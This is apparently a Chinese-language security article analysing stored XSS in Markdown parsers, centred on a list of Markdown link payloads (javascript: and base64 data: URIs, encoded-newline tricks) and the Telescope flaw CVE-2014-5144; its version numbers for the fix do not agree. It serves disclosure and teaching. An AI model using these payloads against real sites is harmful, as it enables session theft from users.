漏洞分析:一個(gè)Markdown解析器的持久型XSS漏洞
什么是Markdown?
Markdown是一種輕量級(jí)的標(biāo)記語言,流行程度已經(jīng)得到了GitHub和Stack Overflow的廣泛支持,作為普通人我們也可以輕松上手。
用markdown來寫文章非常贊,那些瑣碎的HTML標(biāo)簽都可以拋到腦后不用管。最近5年內(nèi),markdown收到非常多的關(guān)注,包括Reddit,Github,StackOverflow在內(nèi)的很多應(yīng)用都使用 markdown這也催生了很多的markdown解析器的產(chǎn)生,這里定義了一些markdown語法,語法約定markdown解析器將這些標(biāo)簽解析為html標(biāo)簽。
Markdown安全現(xiàn)狀
Markdown解析器的安全現(xiàn)狀如何?有沒有對(duì)用戶輸入的數(shù)據(jù)做過濾?
事實(shí)上,很多markdown解析器都沒有過濾用戶輸入的數(shù)據(jù),那么如果markdown被用于添加用戶評(píng)論等功能的時(shí)候,就有可能存在安全風(fēng)險(xiǎn)。
這里有一些關(guān)于這個(gè)問題的討論:[1], [2], [3].
另外,如果用googe搜索一下:
markdown xss issue site:github.com
你就會(huì)發(fā)現(xiàn)github上又很多***很高的項(xiàng)目都被發(fā)現(xiàn)存在XSS 漏洞。
所以,如何構(gòu)造一些payload呢?看下面這些:
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
)\
<javascript:prompt(document.cookie)>
<javascript:alert('XSS')>
\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)
上面這些payload是由Aleksa和原文作者一起搞出來的。在過去的12個(gè)月內(nèi),在實(shí)際滲透測(cè)試中證明,上面的這些 payload 是有效的。并且很多 markdown 解析器都受到影響。來看一下***一個(gè)payload:
[test](javascript://%0d%0aprompt(1);com)
我們猜測(cè),markdown 解析器可能通過如下幾個(gè)步驟來進(jìn)行解析&轉(zhuǎn)換:
判斷時(shí)候有協(xié)議頭?//有javascript 偽協(xié)議,Y
hostname 是以常見的域名后綴(com, org)結(jié)尾的?//是的,以 com 結(jié)尾 Y
將上述 payload 轉(zhuǎn)換為 HTML 標(biāo)簽,//結(jié)果如下
- <a href="javascript://%0d%0aprompt(1);com>test</a>
成功構(gòu)造了一個(gè)XSS payload!當(dāng)點(diǎn)擊了上述鏈接后,就會(huì)觸發(fā)XSS!
Telescope解析器一個(gè)持久性 XSS 漏洞(CVE-2014-5144)
Telescope是一個(gè)有名的開源項(xiàng)目,類似Reddit和Hackernews一樣,提供一個(gè)社區(qū)功能。Telescope的一個(gè)解析帖子&評(píng)論的功能存在 XSS 漏洞,并且這個(gè)功能存在很久了!
在0.9.3之前的版本中,以上面的 payload 列表中的 payload 發(fā)帖或者發(fā)表評(píng)論,就可以導(dǎo)致一個(gè)XSS漏洞。該漏洞已經(jīng)修復(fù),Telescope在這里發(fā)了changelog:http://www.telesc.pe/blog/telescope-v093-dailyscope/
下面是漏洞對(duì)應(yīng)的payload:
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
注意:上述漏洞已經(jīng)在Telescope >= 0.7.3版本中修復(fù)了。